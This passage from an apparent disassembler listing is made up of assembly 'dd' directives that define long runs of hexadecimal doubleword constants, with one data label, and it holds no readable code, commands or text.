5F1CCA73h, 0B9056BBDh, 20D7118Fh dd 43210280h, 91627899h, 0AA2CD004h, 7E390086h, 3396D222h dd 0C55C9098h, 0A06D104Ch, 0FF1030Fh, 7434D7B2h, 0B1A30755h dd 8178C0A9h, 0CF42E22Fh, 0D0F8B618h, 0AB12C739h, 2CCD9888h dd 8CF1AC30h, 63CCCA04h, 0EE38E298h, 0EFCCC201h, 895447DFh dd 13CFA0D9h, 40657556h, 9FF91504h, 80C3AB91h, 0D653D981h dd 20BFF898h, 0F40B4EE1h, 19F10F5h, 5B17EF88h, 6FBA8F10h dd 3A84552h, 7DC01060h, 3960AF3Dh, 0E5F60Dh, 374178C3h dd 2D45C5EFh, 510BC10Eh, 4ACB2057h, 5BB78Ah, 7C483AE5h dd 7B236634h, 0E19D9F07h, 2AB084A8h, 7729FCh, 37D9FEE7h dd 78D6D25Eh, 0AEF31207h, 1DE04857h, 5DC1843h, 80ADBC21h dd 3D25C00Fh, 1E023511h, 57129BF9h, 814340FDh, 79310093h dd 0F11B60Ah, 9A093AD8h, 83D33262h, 309987D8h, 0AD5A59AAh dd 7801E7F6h, 9B7534CBh, 9E70E847h, 0A5D2005Fh, 0FFF52F8Ah dd 0EF003F74h, 0E3DFF778h, 3CCB3F9h, 0B5799F11h, 0C6C1D083h dd 0C8EBA41h, 28A86122h, 42583AFAh, 69D2D501h, 0F0D4963Ch dd 0FD036578h, 60170614h, 62F5C0F6h, 0F410C008h, 9F7930CCh dd 32CBFC00h, 0DB18C65Fh, 9B80009Ch, 55FEAA82h, 18DFD2DAh dd 0A97B36C1h, 998007E0h, 0D6EAFABEh, 2F003C57h, 471508D7h dd 0A6A8EBh, 0E997B5CCh, 32B1917Ah, 0D5FE0300h, 61836DDFh dd 581A07C6h, 816A6910h, 8C6F92A2h, 196C2269h, 3E427D81h dd 0F900F4C7h, 0D88794ECh, 52000FFCh, 0B3CF7DAFh, 0F1ABD7h dd 0FFF84ABAh, 37A6D5F3h, 4F19FA00h, 1003E878h, 0EC5301D8h dd 399A57C4h, 0CD7BCC34h, 1116C00h, 71F1F96Bh, 279B00B5h dd 7E3B2BD0h, 0E400A10Ch, 6685BD8Dh, 0FE210FBh, 0F73CD8E0h dd 205DCA1h, 0F0E3FD26h, 0AC0F08C2h, 807F7A17h, 313F777h dd 0C89D0001h, 0D9C13D98h, 7E0781D1h, 0CD4B1870h, 0C8295EC3h dd 67D3D428h, 330FC278h, 0D2839701h, 2A69DEF8h, 0AC3F5C01h dd 9887A5C1h, 5A02E4h, 0A46609B1h, 5CC02B0Eh, 6C77F200h dd 8E7933C7h, 7DC20EF6h, 0AD479EFBh, 0D99990DCh, 0E27CE7D6h dd 2500F5B0h, 0F0F44FBEh, 73DBC5h, 79C0CEA4h, 2ADAAAB1h dd 0AEF2F11Dh, 8DEE0407h, 8C7B051h, 1FC0FCDh, 17FE0089h dd 0E77B32D0h, 401F7E75h, 71C042AEh, 2413B674h, 0C7520053h dd 276F88EEh, 661C2592h, 0D4004B6Ch, 1A14C448h, 0CD720Eh dd 0B8692752h, 0CB7A82F1h, 5F3B3C01h, 0FE38729Fh, 5F37030h dd 9557BFA5h, 126480EDh, 53EAE2FBh, 420037F8h, 8469CAFFh dd 3195550h, 0D04DFAAEh, 28003D88h, 0F210482Fh, 0ACDEBEh dd 38781FA4h, 0A82C5646h, 1441B00h, 280EF60Ah, 21ECB9h dd 56C8947Bh, 8A38E0C9h, 863238h, 3B7E97BDh, 162277BCh dd 0D3B790h, 9164B961h, 351DFB71h, 618CDBAAh, 336D6EAh dd 41B15CE2h, 6888349Dh, 37E621CCh, 0C0EA4800h, 927A9C78h dd 0CF090097h, 0A6FE6714h, 9814402Dh, 7BFAC42h, 8396496Fh dd 63F7B6A0h, 61A30072h, 0AFE47C9Eh, 0AE008B09h, 50734904h dd 1C65F843h, 80D18F4Fh, 0D0AA44E5h, 0D650BFCAh, 3B002EF8h dd 0A930C69Eh, 0F44A26h, 0F56E8B87h, 836194BBh, 5DAA0E00h dd 0D84B0CF2h, 24B86Bh, 9517A66Ch, 0B1FB828h, 136A8707h dd 0A0FFEAABh, 2974C7F1h, 0AD4F0093h, 8C394D64h, 0F63E4014h dd 0B4E880BBh, 0E79FE027h, 640900ACh, 49DD0B55h, 0F101BD37h dd 0C7F0EAA8h, 0FBC4BF62h, 1103002Ah, 0D464588Ch, 440759AEh dd 2C386A40h, 941A0861h, 3B04B6D4h, 0AF813769h, 3D68FAA9h dd 0B9E2D0BCh, 1855D03Fh, 8610B6DCh, 0DA450082h, 5F38DFEEh dd 90032C1Ah, 6C36A9D6h, 3D68CEFEh, 0FFAFB732h, 82002470h dd 469A2574h, 804235h, 0D9BB40A5h, 0ADE11DF9h, 9D436700h dd 0B63A6076h, 5090E8h, 0F91A4D23h, 505A16FAh, 82000890h dd 0D09A416Bh, 46DC00Ch, 7E72B9A4h, 31A08008h, 200223Fh dd 0CEE25D13h, 75F18656h, 696E0078h, 67C3EC90h, 7300BB1Ch dd 0EE0357FBh, 0E3AA947h, 0BDB6461Bh, 0F025C287h, 0D0DA0830h dd 1FA5C300h, 3620BFFh, 0AFE80715h, 0D3BDF523h, 22C0FC3Bh dd 89025784h, 8C034FF2h, 0BDD2E096h, 124B05E1h, 0C0EC814Dh dd 0F725323Dh dd 0C2DD300h, 3D3ABCFCh, 0EAE900F6h, 10CC4D98h, 6300A47Bh dd 0EFE7B8D0h, 0C21C0297h, 129D7C48h, 2DA301C0h, 0E0164F38h dd 6E95C418h, 18C8F270h, 7912A77Eh, 0BC076D41h, 0E3F6EF81h dd 7713F8A0h, 10E93006h, 333D6020h, 0AD533200h, 8939C4B6h dd 0E2E9C720h, 0A2C03F4Bh, 0C538EF19h, 824BC00h, 0E4F38BC2h dd 1C0A5CC3h, 0BD3FE607h, 0A41C400Dh, 38007690h, 0E3C2E96h dd 0FC5E1899h, 771B002Ah, 0A3342B1Ah, 3F038823h, 28756158h dd 909AFBB4h, 458CDEh, 0A3A5F2DFh, 82B1508Eh, 6776ED5Ch dd 0C360F390h, 60A5E82Dh, 9C1E189Ah, 4E7EDCA6h, 820620DFh dd 3C1CEEEh, 0DDD2C988h, 0D1A08145h, 217C13BBh, 10E1DA30h dd 0C3454h, 3DBE521Eh, 6703DB31h, 36B4C000h, 1253C19Ch dd 0DAED03ADh, 0C468D3B1h, 0B93400A5h, 1ED5FC19h, 0D39150C0h dd 18D1A86h, 1F9D1224h, 0E450AD72h, 0E9050BF2h, 9969332Ch dd 37C46403h, 4878EBh, 0BBB11C44h, 0C67ED50h, 7736FF00h dd 0C04FDE4Dh, 6C78C3h, 5AAE151Fh, 5BC6AD7Eh, 56246003h dd 8B4E7954h, 2006C018h, 97D200C2h, 0E74CE0D9h, 8E00F463h dd 9444373Eh, 0C52E18h, 0EE61F92Fh, 8542E871h, 28231D00h dd 0E9218A3Bh, 0FF41071Bh, 0A05D45F8h, 5B79D149h, 0FCE13900h dd 0A6135471h, 9B0D0014h, 640B0C7h, 77F28E63h, 1B6CFF00h dd 4D3FDE52h, 44B9002Fh, 4C0936FEh, 2A2C9634h, 803BDEFCh dd 0C1E206F9h, 390C6298h, 798088FEh, 0F163B3F0h, 6C0EAAF6h dd 60EB2F40h, 0F885D458h, 0DF98DBh, 4CC469E2h, 2253F66h dd 4CF20F5h, 0C4A4FC51h, 49FC68E9h, 1A762700h, 0FA31240Fh dd 0D1730A59h, 80DC0E03h, 577A3DC7h, 140BBB79h, 0D7789E2Fh dd 0C8BF5700h, 29C01C0Ch, 0AB329AA2h, 13D3FA58h, 2053D08Bh dd 0D1BDCF00h, 0E0283100h, 230EAF2Ah, 0A67650ECh, 0ECF0543Ch dd 7E415h, 5336F955h, 0B50A4F79h, 0F2FD8218h, 30B03820h dd 94701EC8h, 0DD00675Fh, 9ECA239Ch, 0F709012h, 0A1B886A2h dd 0EE64B6A0h, 57141A68h, 1FC46E0Fh, 910C02B4h, 0E60C71D5h dd 0F83092A7h, 0A6F1449Fh, 9442958h, 10C4C3E2h, 0C672B160h dd 91C79A40h, 0D4F57600h, 853C1B65h, 26801A7h, 0ECC7906Dh dd 1480EA1Dh, 54897A06h, 0E579F9F2h, 46E0E00h, 0A411BEB3h dd 5C730C4Ch, 6369F60Ch, 0EF6D3701h, 22C7D8A2h, 34A982DEh dd 87C041D1h, 1F892ADCh, 4A4C0E53h, 5C3AAAh, 10BD298Fh dd 9C39E7B5h, 8A4C3B06h, 0C4C4760Eh, 0C7536980h, 601AC2B8h dd 0C067121h, 0D2008F46h, 6BF4323Fh, 51B68D6Ah, 20802C76h dd 0D25E8293h, 2107203Dh, 0FF8A2415h, 0D8858770h, 0BF6F1EDAh dd 0C4697099h, 4700BB94h, 1CD9A0CAh, 1A2497h, 9C238FB0h dd 0B32253E3h, 0BCCD6800h, 0C3DDFA1h, 70E967E5h, 0EE197034h dd 6300BB9Bh, 1236E12Ah, 73A51C9h, 52D24F7Eh, 11765970h dd 200B0C09h, 770DC968h, 0E8861F93h, 16DE851Eh, 0E3FFC0B0h dd 0F4ABAC25h, 725FF0A8h, 0D986CD02h, 0A8F803F7h, 0E800E584h dd 9A763A40h, 0C9F8A3B9h, 218F130Ch, 4B00DF02h, 6AD8C4Ah dd 8546B360h, 0C05A440Fh, 0A40379F9h, 0B612DD9Bh, 46F882h dd 212D9Eh, 0BADEB370h, 1AC98158h, 0EDE8EB24h, 0C2533A00h dd 910C39E1h, 0F8C303BCh, 20870196h, 62DB6A6h, 445FC204h dd 50916F50h, 0A2CE0C55h, 0C082C99Ch, 16813418h, 0BE3F786Bh dd 0C085250Fh, 0A05F2827h, 192224D0h, 433F40B8h, 0A0B036CEh dd 44259A0Ah, 8E8028E0h, 228A2387h, 7AD00043h, 0BEA3799Ch dd 997F7DC6h, 2B654100h, 460EBBF3h, 0D2473AABh, 1B62980h dd 0FEA4D6Eh, 0D8D47124h, 0D91A6D8Ch, 27A80EE0h, 0B87F8644h dd 0D9BF900h, 438034EAh, 39110F0Eh, 3D835B0h, 50B7D6E8h dd 0C5F580B2h, 2C170035h, 92B08BFBh, 4D0468AAh, 96DEBA9h dd 0CADD0490h, 0ECDE0E1Ch, 88A0DF7Bh, 9140D7CFh, 0F6F0105Bh dd 321EE27h, 1F66A3D4h, 0B08F0739h, 20BA6BCFh, 53628000h dd 25D6EC1Dh, 4C1C5CBh, 394C8041h, 9C0794D0h, 74799DB0h dd 38B81DF0h, 0D68B12CAh, 80881F3Ch, 0EBEE6FAh, 0C9D292D9h dd 765F4800h, 90E4FE4Ah, 88275478h, 0A4F50032h, 7F5F3056h dd 0DC007842h, 555B8598h, 0A0B2FCAFh, 2A2BFA8h, 144EA540h dd 0E844173Eh, 6030C407h, 23306688h, 2E46C86Ch, 0FD33F51h dd 0F8FD26BFh, 8999607Dh, 155FDDF5h, 0B10146F2h, 1E3B7188h dd 21809AB0h, 4433A959h, 0F7E220B4h, 0FDCD80Ah, 3C286443h dd 0C53DA0Ch, 9EC10Ah, 5A1CCE89h, 2A2C3195h, 840F9B28h dd 5136D700h, 0F76570EAh, 24E002Dh, 0DB49BEFFh, 8C07C804h dd 68B1B62Ah, 0F7450860h, 80409182h, 61803DA9h, 90006286h dd 75B0BB5Bh, 319BAA7h, 950E4C9Fh, 72DBEABDh, 0C08BEE80h dd 20035D28h, 22AC9000h, 36E42793h, 80CB0064h, 873EB54Dh dd 0CF12CA26h, 0E00488B3h, 534CE876h, 5025FB8h, 0F348C10Eh dd 0D80460B8h, 0A0B30324h, 491D17E8h, 75388CECh, 693FEEEEh dd 3AF2014Ch, 235D1502h, 24F471C1h, 0DB27038Ch, 3BB66595h dd 24EA8D91h, 38717FC0h, 6068498h, 5199724Fh, 543C2689h dd 0B6C500EEh, 23F9893Ah, 0CF00DCB1h, 4B255242h, 0DCBA52D8h dd 72B781Ch, 30E33BE6h, 0D6394946h, 85FC4F00h, 327C57ABh dd 13C789Dh, 1709BE2Dh, 0A4DB01CEh, 123A8C71h, 0BC2723ACh dd 0EE384290h, 0C5EC0052h, 0A0DEA5DDh, 2C01CD40h, 6E71BDABh dd 6423658Dh, 7A396000h, 53759349h, 44B77D16h, 8A2C3D00h dd 0C0FD6D68h, 6E58A829h, 650078C5h, 0BE142932h, 15A03h dd 0EC118EABh, 8C754A64h, 420094B0h, 0E54BBC1Bh, 0B841AAh dd 0BAB62D87h, 0F272BE86h, 4334EE00h, 56C1245Ah, 0C1A36523h dd 5454806Fh, 0C9033D92h, 50C49CB8h, 3F17916h, 0CB69C217h dd 8DE3A28Bh, 807D193Bh, 742E83DEh, 3B0F9B1h, 0E3FA9739h dd 78E08188h, 658D2D4h, 83C126E0h, 23393930h, 0CF80002Dh dd 0E286C7BEh, 0B51CAB77h, 8BC0560Eh, 24ED21AEh, 929F006Eh dd 9E853B43h, 5C90BA5Eh, 893DE901h, 0A04C8782h, 977A920h dd 454217C4h, 80B8B807h, 0C163E07Dh, 70E92724h, 5C6B148Ah dd 0F9B6BA0Ch, 0EB970130h, 7CC577BFh, 71D209Eh, 169B7A1Eh dd 40D6E5C0h, 0B14FFFC4h, 0CD9F0E7Ch, 11580C2Fh, 0ED0FD1D2h dd 0A313A205h, 0A8655E32h, 0EC16A036h, 2D3009A8h, 0F086B6ADh dd 0F30181DAh, 3A0B20C4h, 0E17EB703h, 189C2401h, 869C9B00h dd 0A8C632BFh, 2C557416h, 3A03ED3h, 123DC48Eh, 0B8C505F0h dd 34A5C3Ah, 3C14E7BFh, 6E008CF3h, 0FC6B7FC9h, 7EDE6030h dd 0B1D330Ah, 0C8B1E6A0h, 0FF71F01h, 3FE42247h, 53B49355h dd 0E7C9420h, 23A70EC7h, 2E7D47EAh, 6DFB40FCh, 6A90C9B3h dd 71402600h, 1D0ADF0Ch, 0FCC908Ch, 9E97E5F1h, 8F90F96Ah dd 0D9A0DBF5h, 0C8FC2EA7h, 5B690F18h, 0AB50A69h, 25C2D464h dd 611EBE80h, 31106D6h, 171B10EEh, 0F830F10Ch, 0A23ADAh dd 0E174FA06h, 31D892F4h, 14426400h, 0EE074397h, 32EF0385h dd 2C560640h, 0B68C6901h, 0EA5CE30Ah, 9083DFCCh, 60BAF006h dd 25EC79E2h, 5500FB3Eh, 4FF9A4D2h, 0EDE4D8h, 0B2C193F1h dd 6A9AA003h, 99BEF30Ch, 3959C2h, 0D0ECB47Fh, 9693EE3Ah dd 0B0147700h, 27A22B61h, 1C880031h, 841B0ADCh, 720352B8h dd 9FDB092Ah, 2602B740h, 0E87C5219h, 0E080051h, 5BEC3378h dd 3400F9E7h, 0E43227A0h dd 58B0691Bh, 0B60B7977h, 98901685h, 2800C28Fh, 0AEC59397h dd 3817EA5Ah, 73006863h, 13253E82h, 70C0B9BDh, 0D9A31D1Bh dd 90B057h, 0EC518BDBh, 0C99FB354h, 2810D44Ch, 0D7FAA4E2h dd 145FAE04h, 44415A69h, 530F3C7Bh, 23C0C4C8h, 0D5A085DBh dd 0E00F62Eh, 8856CC18h, 1EBEB301h, 0D2BFB8A5h, 9A1CC87Eh dd 0F3547F84h, 4248C8h, 46509F9Dh, 7BF433C4h, 0E0936E01h dd 0F2FF06DDh, 480E0AF8h, 17801C68h, 0DB24611Ah, 5D529612h dd 90F8F40Fh, 75E18200h, 484C6480h, 0F75C24B8h, 0BB104020h dd 0DC315606h, 0C00E0F69h, 6E361A99h, 2409F49Bh, 0CB6B4ACh dd 969EE982h, 0AA7881CCh, 0E425727Ah, 0CE308894h, 0C1EEE82Dh dd 0DCB803A4h, 48A75A6Eh, 94E0D5AAh, 91B0AA50h, 7D118802h dd 60941A76h, 2BFA6D4h, 8252A527h, 0DDC060CBh, 0A8B03B08h dd 6E13C316h, 0EB90F400h, 1B3327A3h, 0F026CE59h, 5C76008Fh dd 0BC5C86BBh, 478480B8h, 1EA321A4h, 9DE8EA01h, 0EDD0C08Fh dd 0FA490A15h, 0F8730F24h, 0ECE48869h, 711494C1h, 24530840h dd 0A2A0C0A4h, 7D765E90h, 0AD81D60Bh, 69F001BDh, 0A850116Dh dd 4C61CE2h, 0C1579DE4h, 9F8CC80Eh, 7B98B07Eh, 0EE35B400h dd 21BBC658h, 2C6A580Eh, 0F89E7280h, 14086439h, 8FC250A9h dd 41C7D980h, 512AB0B9h, 1454A029h, 4A674C60h, 0B540CD88h dd 50D36C94h, 27598B0h, 8AA5245Bh, 9048FB17h, 930FBEEAh dd 0C0C5BA16h, 0C3541402h, 0BB330191h, 153E9C59h, 3DD1E41Ch dd 0EA68603h, 0E0616746h, 48325168h, 9261070h, 49A01275h dd 0C8830B18h, 0E024869Bh, 870098BDh, 0E85B4C33h, 3D58ECD7h dd 5F079984h, 70242256h, 8B3037BAh, 7EC12A06h, 160849F7h dd 30960F5Ch, 95B5230Ch, 246B1000h, 564ED732h, 0B721C15Fh dd 0DCCAF2AEh, 0AA02B8E6h, 69AC0481h, 0AB744039h, 5250FEAh dd 8E0B756Eh, 0B700048h, 3A20B560h, 9951201Ah, 0B9F8008Ch dd 588FE1ADh, 28872407h, 25C559CEh, 80CC8h, 5BA5AFDDh dd 0DBF87106h, 0DA28B4A0h, 40241B00h, 460F602Ch, 0BC14034Dh dd 0B8A11D35h, 280CEAC3h, 207DF4D3h, 7868908Bh, 0C4E126Bh dd 0E3F48C44h, 40007DFAh, 0F8537652h, 4B6DEA30h, 4DEC400Fh dd 0AF1E17C8h, 25738A01h, 69392EC4h, 249AD9FCh, 410C6814h dd 323C1D54h, 46A20030h, 3B941201h, 57382EC8h, 0E35D07B0h dd 88144091h, 0E7134456h, 5027DF06h, 0A86607C0h, 5EC7C64h dd 731D7746h, 0CEF000D2h, 50C1084Ch, 0B27180E3h, 16133B9h dd 0E0E70059h, 8D1925EDh, 0C30C2452h, 598E2340h, 0D07104E4h dd 0C0F56A3Eh, 33A7755Ch, 8473A507h, 91927FA8h, 0E1EC405Dh dd 4A4A5CD8h, 1E21CD17h, 60582E68h, 8C421AF4h, 23810403h dd 0D0B4A03Fh, 0C0DAEA79h, 0A3B9BEB0h, 909816E7h, 80702358h dd 18E9FBD5h, 0F6D30314h, 3DE6A39Dh, 6F4DE890h, 50D46E00h dd 9A04DB25h, 12C12501h, 0A1BA025h, 60AC06E0h, 0D3679286h dd 0B9824701h, 3BC1037Ch, 343D848h, 9EA2DBA3h, 90C7861Ch dd 40C43A95h, 66E49003h, 0A86C4F0Fh, 74DCC08Bh, 799F129Bh dd 9A1800F2h, 44DF1F59h, 8D5C14F8h, 5728048h, 79EE907Ch dd 753B26F4h, 29013994h, 1CAA774h, 0B02D03h, 7BBE2142h dd 883AEF9h, 0CAFE0680h, 0B86BB004h, 74BB4480h, 338E89Bh dd 3A785FFCh, 417D0B6Dh, 8187C91Eh, 8C1F6CACh, 35049E97h dd 90C84514h, 0BA0A3D7Eh, 0BF666882h, 7C7949CFh, 0B0FDE800h dd 5A858C7Dh, 0AAC04023h, 5CDEBEAh, 0C650C700h, 8EABC011h dd 0BFC10024h, 2DF57092h, 3A057EC2h, 0A5B55C49h, 505628A2h dd 3D443800h, 0DDBF69BCh, 9C61BE01h, 510C1A77h, 0B5007029h dd 0F8129813h, 28002E64h, 0BF57C291h, 2EE8283h, 4675A6BBh dd 605A7D0Ch, 0E832EDh, 4B1C5962h, 799069h, 0FBDF6E10h dd 94D0A6FAh, 4585E58h, 52DDC24h, 0E9EFF8C1h, 0D4E43A02h dd 457DE100h, 602F269Ah, 359707E6h, 1B7A752h, 637F14B8h dd 0BF9F003Ch, 0DB3E2268h, 7E2705A9h, 0A2E94E49h, 0EECB0170h dd 4C280B04h, 0E82163F9h, 6870ECh, 0DF48A90Ch, 8C7EAA98h dd 1C39D12Ah, 9980CF00h, 795CC8FDh, 0DA30014h, 0F52FCD06h dd 0E1393AFAh, 5CA82626h, 0A41D1501h, 872DB0Eh, 0C270101h dd 0E3488B6Eh, 2FD0A5DCh, 0CA13F0h, 0D72523B6h, 0FEEBC66h dd 620E740Ch, 99BAD9FEh, 0BD6700A0h, 66903983h, 74862C00h dd 6C0268A9h, 5D7503F5h, 0F8643625h, 0BC7142F8h, 6026192Ch dd 94707616h, 2C544105h, 3C1C5Ah, 0E448C42Eh, 2C00774Ah dd 34875815h, 1F25A3F8h, 1325A94h, 1AECED27h, 8AE460AEh dd 4B4140Eh, 805CCBBDh, 72D70944h, 0FDD94803h, 17E26967h dd 77C5A04Ah, 0EC393464h, 854590Eh, 808D513Ah, 6498D06Bh dd 0F9075823h, 0C6CB6ACAh, 3EEDD7E0h, 0F07D02F6h, 5A047F11h dd 69B0B840h, 710EBE17h, 0C51B830h, 2525E46h, 6C4B2514h dd 0FE009846h, 8F3045FAh, 23226BFh, 0E1DF566Eh, 8C4494B6h dd 0A2135890h, 9C8001AEh, 0FBB6529Ch, 81FCCADAh, 49EAB49Bh dd 0CF093h, 18786EBCh, 3A75F034h, 349C2626h, 690F0811h dd 422337C4h, 2095AB50h, 1376CFE8h, 49E62A00h, 0B35DD1A7h dd 0D7680264h, 0FD450FF7h, 0A063208Bh, 7F14C8BDh, 6DD16F02h dd 0C470148Dh, 0DF025BCh, 6C30482Bh, 7B096D72h, 0B9B4D5h dd 0F25C664Ch, 0DF2B0095h, 0BBCCC985h, 0C1257791h, 0BFB0A0C4h dd 3560A71h, 4F3227A2h, 1A71A09h, 2A420E78h, 2D870841h dd 44F87488h, 71D8046Eh, 0F2C060F1h, 0F2B0048h, 0E64A9114h dd 0B67E09FDh, 5B00C2D6h, 8B4B3124h, 0D0A50E29h, 9AF01025h dd 77B40111h, 8466704Ch, 3D83D3Dh, 0A0041585h, 2EE09790h dd 18249D7Bh, 0F1C150A4h, 0F67D662Ch, 0FBBCED00h, 0EFBB8167h dd 35D0059Eh, 8923383Bh, 0A47CC07Ch, 9790A100h, 6B321B0h dd 65BA00D9h, 4EDB435Fh, 4024C1BEh, 660028B6h, 0C3DE6085h dd 0A849FE7Eh, 0F53C24h, 2DABBF33h, 8609C6B8h, 0CDF84104h dd 48899A8h, 90C83CAAh, 8BB65689h, 25DD3810h, 7480D0B6h dd 8F69473Eh, 0DF60Fh, 2A7C676Ch, 0C42C0E3Ch, 0E580A899h dd 66AAF76h, 0CFEAB6h, 0A68ED8A7h, 0BA86D653h, 0B5F3B0C1h dd 0F833F073h, 0B6029222h, 697EE64Ch, 3BF85A3Ah, 5B24BABEh dd 0EF3B0010h, 943C5C6h, 9F1634FCh, 0A1CD670h, 9E496F80h dd 0B691Bh, 0E1955924h, 460E9F6Bh, 79847501h, 0A4F3728h dd 0E0248C20h, 0F4915C29h, 0B9900733h, 38397124h, 0C0121E11h dd 23B8033Ah, 0B0C88541h, 0EC2C01A9h, 1440003Dh, 3BE83112h dd 658058F7h, 0D233742Bh, 0ECB945B8h, 0E3D13D8Fh, 0F899F2DEh dd 735AB442h, 0EA930189h, 0B89ECB50h, 470FD84Eh, 0B96FC96h dd 1E2578C8h, 0C750CC83h, 3346A95Ch, 74809A13h, 3D00794Ch dd 3B06BA14h, 1A0C23h, 35DFFD7Bh, 0E253A7F3h, 1473B626h dd 97240049h, 9124CDE9h, 0BCBF0214h, 8E0C459h, 3C1DB46Eh dd 418744DCh, 9B2227DBh, 0A100E882h, 67DD17FFh, 815A0483h dd 4EB8C1BEh, 0C83D17h, 87F78668h, 13151863h, 5F9830Eh dd 0F0BDBC08h, 16046E37h, 0C45DB441h, 0BD42F4C3h, 0EA80BF85h dd 621D64h, 72DEF124h, 7E0E945Ah, 0C0C458D5h, 3DD652C4h dd 3F0F1C13h, 0F6B4C1F5h, 28854CB5h, 0A74D8044h, 77B965h dd 59996BB7h, 9C50F657h, 68E39007h, 0F3108753h, 0A0295BEEh dd 9A2418Eh, 19834A3Ah dword_57F990 dd 5E37A418h, 8A8AC00h, 393ACB75h, 0E8C3FE0h, 8D564E88h dd 0E3F34780h, 379026h, 0B12A127Ah, 9A01D750h, 0EF5D2100h dd 62DF2D0Dh, 44B0B85Eh, 3891F016h, 0DB0F6CA4h, 0BE2D875h dd 60F8940Eh, 3AAAA485h, 49231A0Bh, 25F4E03Bh, 8A9C3B5h dd 4BC9EEBFh, 0A6EAC835h, 85616D00h, 0C155CD13h, 0EC2A9520h dd 66E0235h, 0C48F93Ch, 8D005C01h, 6AA2C81Bh, 0E88FB524h dd 4C9D0BBAh, 0B0845776h, 3078E520h, 0F5003EB0h, 82BB68A7h dd 4EC84AFh, 0C13BBA1Dh, 0F65C842Ch, 0FA60068h, 642027A8h dd 0C76C00D0h, 6772A9CCh, 0BB01FC22h, 271A4856h, 30285349h dd 9F75F80h, 8928ADE4h, 34507423h, 59B84DBBh, 48C57000h dd 0EBF17442h, 0C3F61484h, 3848542Ch, 58496D04h, 0C867C521h dd 600DBECh, 611B056Ah, 9E43FA2Bh, 13F01634h, 8CC8D458h dd 3C029944h, 42A2AD39h, 0E032E0E1h, 50211E06h, 0E2003F1Bh dd 0F664B6F0h, 3120C72h, 20B2D26Bh, 801E3702h, 0F08197C5h dd 0D35C9E94h, 0F89063B8h, 2835A700h, 387182FFh, 201A4FC1h dd 6D5253F0h, 8CCE172h, 3411914h, 0EF4D8338h, 0BE90F61Ch dd 9109C277h, 71029BFCh, 0F19801BCh, 0EC2451B0h, 600DC23h dd 6566C14Fh, 11AAA9Ah, 5C996E38h, 71924E87h, 62152110h dd 0BC7F0110h, 4DAB7497h, 2E390CD8h, 62D4730Eh, 0FFE04C6Eh dd 370034E0h, 27D39CB2h, 4F3A8531h, 4C70479Eh, 1367CCh dd 88B54EC0h, 7E6FF514h, 1A4827FCh, 0E3688390h, 0FCC7ED54h dd 6B0FE900h, 0BB49CB2Bh, 23E68E8h, 0E340E207h, 65C37422h dd 0D0F0B5B8h, 1CC400D7h, 23809AC1h, 0AD074957h, 0D168B37Dh dd 85702013h, 5B0090A2h, 0ED0262C8h, 69DD1751h, 1A6EA280h dd 493D8650h, 0AA00600Dh, 94B90793h, 0D373D497h, 517FB01h dd 78B6EB45h, 0BAFC202Eh, 0F7192621h, 50C0F33Ch, 0C22F423h dd 4AB89003h, 0E0A0B1B4h, 224EABEh, 0EE394433h, 604C1AC3h dd 2504154Ch, 78EC4645h, 0FC0658A8h, 20B05C16h, 2730CFD4h dd 837CF81Dh, 5E33F180h, 14A7B8E8h, 0B05A07D6h, 0B654E903h dd 0B17EE591h, 5900D4B9h, 44E9A971h, 40110EA0h, 70401929h dd 0E3184ECCh, 0E5003BB0h, 0B88C6158h, 904CBA71h, 0D4FD4518h dd 0E009A74Eh, 6AE74FC3h, 4C7A94h, 78F5289Dh, 0F0D16DD5h dd 0C653191Eh, 83501242h, 0E2027D22h, 34C1F690h, 0C4C5605Ch dd 98B2AB05h, 0E480AC9Ch, 71A763h, 529F5AD3h, 5E5F879Ah dd 78032224h, 0CBBDD640h, 0F935008Ch, 7F32073Ch, 8A3C7B67h dd 1DC498AAh, 94691429h, 70446164h, 88E44465h, 89F4DF10h dd 808828D5h, 23B5612h, 52DA0C28h, 1551100Ch, 6126A400h dd 0A308A219h, 0F0930B3Ah, 40443ECFh, 26C57B00h, 0CD15E937h dd 68940923h, 0E4803CB2h, 66DD6F5Bh, 0DFE7D02h, 0A0BE1921h dd 0D6C8B29Ch, 0E675F8AFh, 26E034Eh, 0A8537392h, 0D39480FCh dd 38F80824h, 0D484880Fh, 6C0E0E71h, 26F0797Ch, 4468014Fh dd 0C04D47F9h, 0D2DC8CA0h, 74310095h, 0EA1BBC0Dh, 7F013A9Dh dd 437EF87Ah, 49805951h, 0A168B73Ch, 0A43BEF2Eh, 157D09D1h dd 894059BFh, 6050A84Ch, 0C4DDCD00h, 38EC6817h, 0C14803A0h dd 2A564F7Eh, 0EAEE5100h, 0F1B6AB4Ah, 26411DDCh, 2B60801Ch dd 1A510F7Dh, 48B42A1Ch, 0E05B2440h, 752950C9h, 12F4904Eh dd 85446B52h, 1D0C8C80h, 2A575400h, 91C30E48h, 0A999F6DDh dd 1F60F810h, 5D5C072Fh, 0F9A687F5h, 0FD14D0C8h, 1BB18400h dd 322791E3h, 0DC131D8Dh, 25FE91C3h, 864BFh, 280E38F8h dd 604CC91Bh, 14992100h, 835D10F6h, 183EE8C8h, 317D0F7Ah dd 192A24F3h, 0E904C0C5h, 3E111A6Dh, 0DC07C8C0h, 0D0406078h dd 389B509h, 0C7D0E849h, 72D0BFADh, 21EF81h, 0CFAA52D8h dd 0BE583374h, 0C4358800h, 9C0E1E07h, 0CAEE2482h, 0BAEB0448h dd 0AF10D0E1h, 6900D473h, 0D5BCE7B5h, 26503Dh, 27585386h dd 0D3EBE459h, 7426CAB0h, 140E051h, 0DD089h, 7F2199B8h dd 72B0DD63h, 44208E5Ah, 7084928h, 0A9258FAAh, 81381431h dd 0CC566EBEh, 3C9C0E13h, 1DCC50C0h, 0A3580F87h, 0EDA9B690h dd 633274C8h, 44E63725h, 0CC760058h, 87BEE58h, 2E005F11h dd 0AA76623h, 9005D9h, 27352E0h, 0DA5185EAh, 320F9100h dd 0CA2ABD40h, 0B9FE8A9h, 8DB66F53h, 229EE8E9h, 9D040FECh dd 9F396007h, 903F71FEh, 5BB20B30h, 913C72h, 45EBCC1Ch dd 32C2AD00h, 4F03BBBAh, 86653846h, 914B5001h, 0C23B2925h dd 4C003846h, 55A79DF6h, 25E6181Dh, 90E6C98Bh, 7FB6F80Fh dd 9DF0E016h, 4008FA6Ch, 69F2CAC7h, 5526BD00h, 1842D1E2h dd 0A3B3073Eh, 0C0CF56BCh, 4EF8BE31h, 0EC19C12Eh, 3FBC9869h dd 0CF88005Dh, 0C4A98315h, 52005B57h, 5F3D2A17h, 2C63DB24h dd 899C1231h, 0CA0EDDCFh, 97EC2A1h, 27607070h, 74A88h dd 2A92F4EBh, 